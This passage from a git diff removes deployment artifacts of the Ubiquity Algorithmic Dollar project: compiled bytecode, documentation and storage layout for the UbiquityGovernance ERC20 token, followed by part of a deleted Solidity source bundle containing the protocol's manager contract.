00fdfea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106101985760003560e01c80635c975abb116100e3578063a457c2d71161008c578063c47f002711610066578063c47f00271461034f578063d505accf14610362578063dd62ed3e1461037557610198565b8063a457c2d714610316578063a9059cbb14610329578063b84c82461461033c57610198565b80637ecebe00116100bd5780637ecebe00146102e65780638456cb591461030657806395d89b411461030e57610198565b80635c975abb146102b557806370a08231146102c057806379cc6790146102d357610198565b80633644e5151161014557806340c10f191161011f57806340c10f191461025f57806342966c6814610272578063481c6a751461028557610198565b80633644e5151461023957806339509351146102425780633f4ba83a1461025557610198565b806323b872dd1161017657806323b872dd146101f057806330adf81f14610203578063313ce5671461022a57610198565b806306fdde031461019d578063095ea7b3146101bb57806318160ddd146101de575b600080fd5b6101a56103ae565b6040516101b29190611c73565b60405180910390f35b6101ce6101c9366004611b50565b610440565b60405190151581526020016101b2565b6002545b6040519081526020016101b2565b6101ce6101fe366004611aa4565b610456565b6101e27f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b604051601281526020016101b2565b6101e260065481565b6101ce610250366004611b50565b610521565b61025d610558565b005b61025d61026d366004611b50565b6106ac565b61025d610280366004611c5b565b61088b565b60055461029d9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101b2565b60055460ff166101ce565b6101e26102ce366004611a51565b610912565b61025d6102e1366004611b50565b610931565b6101e26102f4366004611a51565b60076020526000908152604090205481565b61025d610b12565b6101a5610c64565b6101ce610324366004611b50565b610c73565b6101ce610337366004611b50565b610d26565b61025d61034a366004611bb1565b610d33565b61025d61035d366004611bb1565b610ea2565b61025d610370366004611adf565b61100d565b6101e2610383366004611a72565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600880546103bd90611cf5565b80601f01602080910402602001604051908101604052809291908181526020018280546103e990611cf5565b80156104365780601f1061040b57610100808354040283529160200191610436565b820191906000526020600020905b81548152906001019060200180831161041957829003601f168201915b5050505050905090565b600061044d33848461122c565b50600192915050565b6000610463848484611351565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156105025760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61051685336105118685611cde565b61122c565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161044d918590610511908690611cc6565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b1580156105a957600080fd5b505afa1580156105bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e19190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561061e57600080fd5b505afa158015610632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106569190611b79565b6106a25760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74207061757365720000000060448201526064016104f9565b6106aa6113a7565b565b60055460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b1580156106fd57600080fd5b505afa158015610711573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107359190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa9190611b79565b6107f65760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e7465720000000060448201526064016104f9565b60055460ff161561083c5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104f9565b6108468282611443565b60405181815233906001600160a01b038416907fb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca906020015b60405180910390a35050565b60055460ff16156108d15760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104f9565b6108da81611527565b60405181815233907f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe479060200160405180910390a250565b6001600160a01b0381166000908152602081905260409020545b919050565b6005546040805163f39e5a4760e01b815290516101009092046001600160a01b0316916391d1485491839163f39e5a4791600480820192602092909190829003018186803b15801561098257600080fd5b505afa158015610996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ba9190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156109f757600080fd5b505afa158015610a0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2f9190611b79565b610a7b5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206275726e65720000000060448201526064016104f9565b60055460ff1615610ac15760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104f9565b610acb8282611534565b816001600160a01b03167f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe4782604051610b0691815260200190565b60405180910390a25050565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b158015610b6357600080fd5b505afa158015610b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9b9190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610bd857600080fd5b505afa158015610bec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c109190611b79565b610c5c5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74207061757365720000000060448201526064016104f9565b6106aa61168f565b6060600980546103bd90611cf5565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610d0d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016104f9565b610d1c33856105118685611cde565b5060019392505050565b600061044d338484611351565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b158015610d8457600080fd5b505afa158015610d98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbc9190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610df957600080fd5b505afa158015610e0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e319190611b79565b610e8b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b60648201526084016104f9565b8051610e9e9060099060208401906119a1565b5050565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b158015610ef357600080fd5b505afa158015610f07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2b9190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610f6857600080fd5b505afa158015610f7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa09190611b79565b610ffa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b60648201526084016104f9565b8051610e9e9060089060208401906119a1565b4284101561105d5760405162461bcd60e51b815260206004820152600f60248201527f446f6c6c61723a2045585049524544000000000000000000000000000000000060448201526064016104f9565b6006546001600160a01b038816600090815260076020526040812080549192917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b9190876110b083611d30565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012060405160200161112992919061190160f01b81526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa158015611194573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906111ca5750886001600160a01b0316816001600160a01b0316145b6112165760405162461bcd60e51b815260206004820152601960248201527f446f6c6c61723a20494e56414c49445f5349474e41545552450000000000000060448201526064016104f9565b61122189898961122c565b505050505050505050565b6001600160a01b03831661128e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b0382166112ef5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60055460ff16156113975760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104f9565b6113a283838361170a565b505050565b60055460ff166113f95760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f742070617573656400000000000000000000000060448201526064016104f9565b6005805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6001600160a01b0382166114995760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104f9565b6114a56000838361191c565b80600260008282546114b79190611cc6565b90915550506001600160a01b038216600090815260208190526040812080548392906114e4908490611cc6565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161087f565b6115313382611534565b50565b6001600160a01b0382166115945760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016104f9565b6115a08260008361191c565b6001600160a01b038216600090815260208190526040902054818110156116145760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016104f9565b61161e8282611cde565b6001600160a01b0384166000908152602081905260408120919091556002805484929061164c908490611cde565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611344565b60055460ff16156116d55760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104f9565b6005805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586114263390565b6001600160a01b0383166117865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104f9565b6001600160a01b0382166117e85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b6117f383838361191c565b6001600160a01b038316600090815260208190526040902054818110156118825760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016104f9565b61188c8282611cde565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906118c2908490611cc6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161190e91815260200190565b60405180910390a350505050565b6113a283838361192e60055460ff1690565b156113a25760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e7366657220776860448201527f696c65207061757365640000000000000000000000000000000000000000000060648201526084016104f9565b8280546119ad90611cf5565b90600052602060002090601f0160209004810192826119cf5760008555611a15565b82601f106119e857805160ff1916838001178555611a15565b82800160010185558215611a15579182015b82811115611a155782518255916020019190600101906119fa565b50611a21929150611a25565b5090565b5b80821115611a215760008155600101611a26565b80356001600160a01b038116811461092c57600080fd5b600060208284031215611a62578081fd5b611a6b82611a3a565b9392505050565b60008060408385031215611a84578081fd5b611a8d83611a3a565b9150611a9b60208401611a3a565b90509250929050565b600080600060608486031215611ab8578081fd5b611ac184611a3a565b9250611acf60208501611a3a565b9150604084013590509250925092565b600080600080600080600060e0888a031215611af9578283fd5b611b0288611a3a565b9650611b1060208901611a3a565b95506040880135945060608801359350608088013560ff81168114611b33578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215611b62578182fd5b611b6b83611a3a565b946020939093013593505050565b600060208284031215611b8a578081fd5b81518015158114611a6b578182fd5b600060208284031215611baa578081fd5b5051919050565b600060208284031215611bc2578081fd5b813567ffffffffffffffff80821115611bd9578283fd5b818401915084601f830112611bec578283fd5b813581811115611bfe57611bfe611d61565b604051601f8201601f19908116603f01168101908382118183101715611c2657611c26611d61565b81604052828152876020848701011115611c3e578586fd5b826020860160208301379182016020019490945295945050505050565b600060208284031215611c6c578081fd5b5035919050565b6000602080835283518082850152825b81811015611c9f57858101830151858201604001528201611c83565b81811115611cb05783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115611cd957611cd9611d4b565b500190565b600082821015611cf057611cf0611d4b565b500390565b600181811c90821680611d0957607f821691505b60208210811415611d2a57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611d4457611d44611d4b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "allowance(address,address)": { - "details": "See {IERC20-allowance}." - }, - "approve(address,uint256)": { - "details": "See {IERC20-approve}. Requirements: - `spender` cannot be the zero address." - }, - "balanceOf(address)": { - "details": "See {IERC20-balanceOf}." - }, - "burn(uint256)": { - "params": { - "amount": "the amount to burn" - } - }, - "burnFrom(address,uint256)": { - "params": { - "account": "the account to burn from", - "amount": "the amount to burn" - } - }, - "decimals()": { - "details": "Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}." - }, - "decreaseAllowance(address,uint256)": { - "details": "Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`." - }, - "increaseAllowance(address,uint256)": { - "details": "Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address." - }, - "name()": { - "details": "Returns the name of the token." - }, - "paused()": { - "details": "Returns true if the contract is paused, and false otherwise." - }, - "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)": { - "params": { - "deadline": "the deadline after which the approval is no longer valid", - "owner": "the uAD holder", - "spender": "the approved operator", - "value": "the amount approved" - } - }, - "setName(string)": { - "params": { - "newName": "new token name" - } - }, - "setSymbol(string)": { - "params": { - "newSymbol": "new token symbol" - } - }, - "symbol()": { - "details": "Returns the symbol of the token, usually a shorter version of the name." - }, - "totalSupply()": { - "details": "See {IERC20-totalSupply}." - }, - "transfer(address,uint256)": { - "details": "See {IERC20-transfer}. Requirements: - `recipient` cannot be the zero address. - the caller must have a balance of at least `amount`." - }, - "transferFrom(address,address,uint256)": { - "details": "See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`." - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "burn(uint256)": { - "notice": "burn UAD tokens from caller" - }, - "burnFrom(address,uint256)": { - "notice": "burn uAD tokens from specified account" - }, - "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)": { - "notice": "permit spending of uAD. owner has signed a message allowing spender to transfer up to amount uAD" - }, - "setName(string)": { - "notice": "setName update token name" - }, - "setSymbol(string)": { - "notice": "setSymbol update token symbol" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 1803, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "_balances", - "offset": 0, - "slot": "0", - "type": "t_mapping(t_address,t_uint256)" - }, - { - "astId": 1809, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "_allowances", - "offset": 0, - "slot": "1", - "type": "t_mapping(t_address,t_mapping(t_address,t_uint256))" - }, - { - "astId": 1811, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "_totalSupply", - "offset": 0, - "slot": "2", - "type": "t_uint256" - }, - { - "astId": 1813, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "_name", - "offset": 0, - "slot": "3", - "type": "t_string_storage" - }, - { - "astId": 1815, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "_symbol", - "offset": 0, - "slot": "4", - "type": "t_string_storage" - }, - { - "astId": 385, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "_paused", - "offset": 0, - "slot": "5", - "type": "t_bool" - }, - { - "astId": 7586, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "manager", - "offset": 1, - "slot": "5", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - }, - { - "astId": 7588, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "DOMAIN_SEPARATOR", - "offset": 0, - "slot": "6", - "type": "t_bytes32" - }, - { - "astId": 7595, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "nonces", - "offset": 0, - "slot": "7", - "type": "t_mapping(t_address,t_uint256)" - }, - { - "astId": 7597, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "_tokenName", - "offset": 0, - "slot": "8", - "type": "t_string_storage" - }, - { - "astId": 7599, - "contract": "contracts/UbiquityGovernance.sol:UbiquityGovernance", - "label": "_symbol", - "offset": 0, - "slot": "9", - "type": "t_string_storage" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_bytes32": { - "encoding": "inplace", - "label": "bytes32", - "numberOfBytes": "32" - }, - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_address,t_mapping(t_address,t_uint256))": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => mapping(address => uint256))", - "numberOfBytes": "32", - "value": "t_mapping(t_address,t_uint256)" - }, - "t_mapping(t_address,t_uint256)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_string_storage": { - "encoding": "bytes", - "label": "string", - "numberOfBytes": "32" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/solcInputs/668ff4210658f4785fe4e4446814af17.json b/packages/contracts/dollar/deployments/mainnet/solcInputs/668ff4210658f4785fe4e4446814af17.json deleted file mode 100644 index 703e38ea9..000000000 --- a/packages/contracts/dollar/deployments/mainnet/solcInputs/668ff4210658f4785fe4e4446814af17.json +++ /dev/null @@ -1,249 +0,0 @@ -{ - "language": "Solidity", - "sources": { - "contracts/ABDKTest.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./interfaces/IUARForDollarsCalculator.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\nimport \"./DebtCoupon.sol\";\n\ncontract ABDKTest {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n\n function max() public pure returns (uint256) {\n // 115792089237316195423570985008687907853269984665640564039457584007913129639935\n\n uint256 maxUInt256 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;\n return maxUInt256.fromUInt().toUInt();\n }\n\n function add(uint256 amount) public pure returns (uint256) {\n uint256 maxUInt256 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;\n return maxUInt256.fromUInt().add(amount.fromUInt()).toUInt();\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/IERC20.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n" - }, - "contracts/interfaces/IUARForDollarsCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\n/// @title A mechanism for calculating uAR received for a dollar amount burnt\ninterface IUARForDollarsCalculator {\n function getUARAmount(uint256 dollarsToBurn, uint256 blockHeightDebt)\n external\n view\n returns (uint256);\n}\n" - }, - "contracts/UbiquityAlgorithmicDollarManager.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/access/AccessControl.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n\nimport \"./interfaces/IUbiquityAlgorithmicDollar.sol\";\nimport \"./interfaces/ICurveFactory.sol\";\nimport \"./interfaces/IMetaPool.sol\";\n\nimport \"./TWAPOracle.sol\";\n\n/// @title A central config for the uAD system. Also acts as a central\n/// access control manager.\n/// @notice For storing constants. For storing variables and allowing them to\n/// be changed by the admin (governance)\n/// @dev This should be used as a central access control manager which other\n/// contracts use to check permissions\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\n using SafeERC20 for IERC20;\n\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\"UBQ_MINTER_ROLE\");\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\"UBQ_BURNER_ROLE\");\n\n bytes32 public constant PAUSER_ROLE = keccak256(\"PAUSER_ROLE\");\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\"COUPON_MANAGER\");\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\"BONDING_MANAGER\");\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\n keccak256(\"INCENTIVE_MANAGER\");\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\n keccak256(\"UBQ_TOKEN_MANAGER_ROLE\");\n address public twapOracleAddress;\n address public debtCouponAddress;\n address public dollarTokenAddress; // uAD\n address public couponCalculatorAddress;\n address public dollarMintingCalculatorAddress;\n address public bondingShareAddress;\n address public bondingContractAddress;\n address public stableSwapMetaPoolAddress;\n address public curve3PoolTokenAddress; // 3CRV\n address public treasuryAddress;\n address public governanceTokenAddress; // uGOV\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\n address public masterChefAddress;\n address public formulasAddress;\n address public autoRedeemTokenAddress; // uAR\n address public uarCalculatorAddress; // uAR calculator\n\n //key = address of couponmanager, value = excessdollardistributor\n mapping(address => address) private _excessDollarDistributors;\n\n modifier onlyAdmin() {\n require(\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\n \"uADMGR: Caller is not admin\"\n );\n _;\n }\n\n constructor(address _admin) {\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\n _setupRole(UBQ_MINTER_ROLE, _admin);\n _setupRole(PAUSER_ROLE, _admin);\n _setupRole(COUPON_MANAGER_ROLE, _admin);\n _setupRole(BONDING_MANAGER_ROLE, _admin);\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\n }\n\n // TODO Add a generic setter for extra addresses that needs to be linked\n function setTwapOracleAddress(address _twapOracleAddress)\n external\n onlyAdmin\n {\n twapOracleAddress = _twapOracleAddress;\n // to be removed\n\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\n oracle.update();\n }\n\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\n autoRedeemTokenAddress = _uarTokenAddress;\n }\n\n function setDebtCouponAddress(address _debtCouponAddress)\n external\n onlyAdmin\n {\n debtCouponAddress = _debtCouponAddress;\n }\n\n function setIncentiveToUAD(address _account, address _incentiveAddress)\n external\n onlyAdmin\n {\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\n _account,\n _incentiveAddress\n );\n }\n\n function setDollarTokenAddress(address _dollarTokenAddress)\n external\n onlyAdmin\n {\n dollarTokenAddress = _dollarTokenAddress;\n }\n\n function setGovernanceTokenAddress(address _governanceTokenAddress)\n external\n onlyAdmin\n {\n governanceTokenAddress = _governanceTokenAddress;\n }\n\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\n external\n onlyAdmin\n {\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\n }\n\n function setUARCalculatorAddress(address _uarCalculatorAddress)\n external\n onlyAdmin\n {\n uarCalculatorAddress = _uarCalculatorAddress;\n }\n\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\n external\n onlyAdmin\n {\n couponCalculatorAddress = _couponCalculatorAddress;\n }\n\n function setDollarMintingCalculatorAddress(\n address _dollarMintingCalculatorAddress\n ) external onlyAdmin {\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\n }\n\n function setExcessDollarsDistributor(\n address debtCouponManagerAddress,\n address excessCouponDistributor\n ) external onlyAdmin {\n _excessDollarDistributors[\n debtCouponManagerAddress\n ] = excessCouponDistributor;\n }\n\n function setMasterChefAddress(address _masterChefAddress)\n external\n onlyAdmin\n {\n masterChefAddress = _masterChefAddress;\n }\n\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\n formulasAddress = _formulasAddress;\n }\n\n function setBondingShareAddress(address _bondingShareAddress)\n external\n onlyAdmin\n {\n bondingShareAddress = _bondingShareAddress;\n }\n\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\n external\n onlyAdmin\n {\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\n }\n\n /**\n @notice set the bonding bontract smart contract address\n @dev bonding contract participants deposit curve LP token\n for a certain duration to earn uGOV and more curve LP token\n @param _bondingContractAddress bonding contract address\n */\n function setBondingContractAddress(address _bondingContractAddress)\n external\n onlyAdmin\n {\n bondingContractAddress = _bondingContractAddress;\n }\n\n /**\n @notice set the treasury address\n @dev the treasury fund is used to maintain the protocol\n @param _treasuryAddress treasury fund address\n */\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\n treasuryAddress = _treasuryAddress;\n }\n\n /**\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\n @dev From the curve documentation for uncollateralized algorithmic\n stablecoins amplification should be 5-10\n @param _curveFactory MetaPool factory address\n @param _crvBasePool Address of the base pool to use within the new metapool.\n @param _crv3PoolTokenAddress curve 3Pool token Address\n @param _amplificationCoefficient amplification coefficient. The smaller\n it is the closer to a constant product we are.\n @param _fee Trade fee, given as an integer with 1e10 precision.\n */\n function deployStableSwapPool(\n address _curveFactory,\n address _crvBasePool,\n address _crv3PoolTokenAddress,\n uint256 _amplificationCoefficient,\n uint256 _fee\n ) external onlyAdmin {\n // Create new StableSwap meta pool (uAD <-> 3Crv)\n address metaPool = ICurveFactory(_curveFactory).deploy_metapool(\n _crvBasePool,\n ERC20(dollarTokenAddress).name(),\n ERC20(dollarTokenAddress).symbol(),\n dollarTokenAddress,\n _amplificationCoefficient,\n 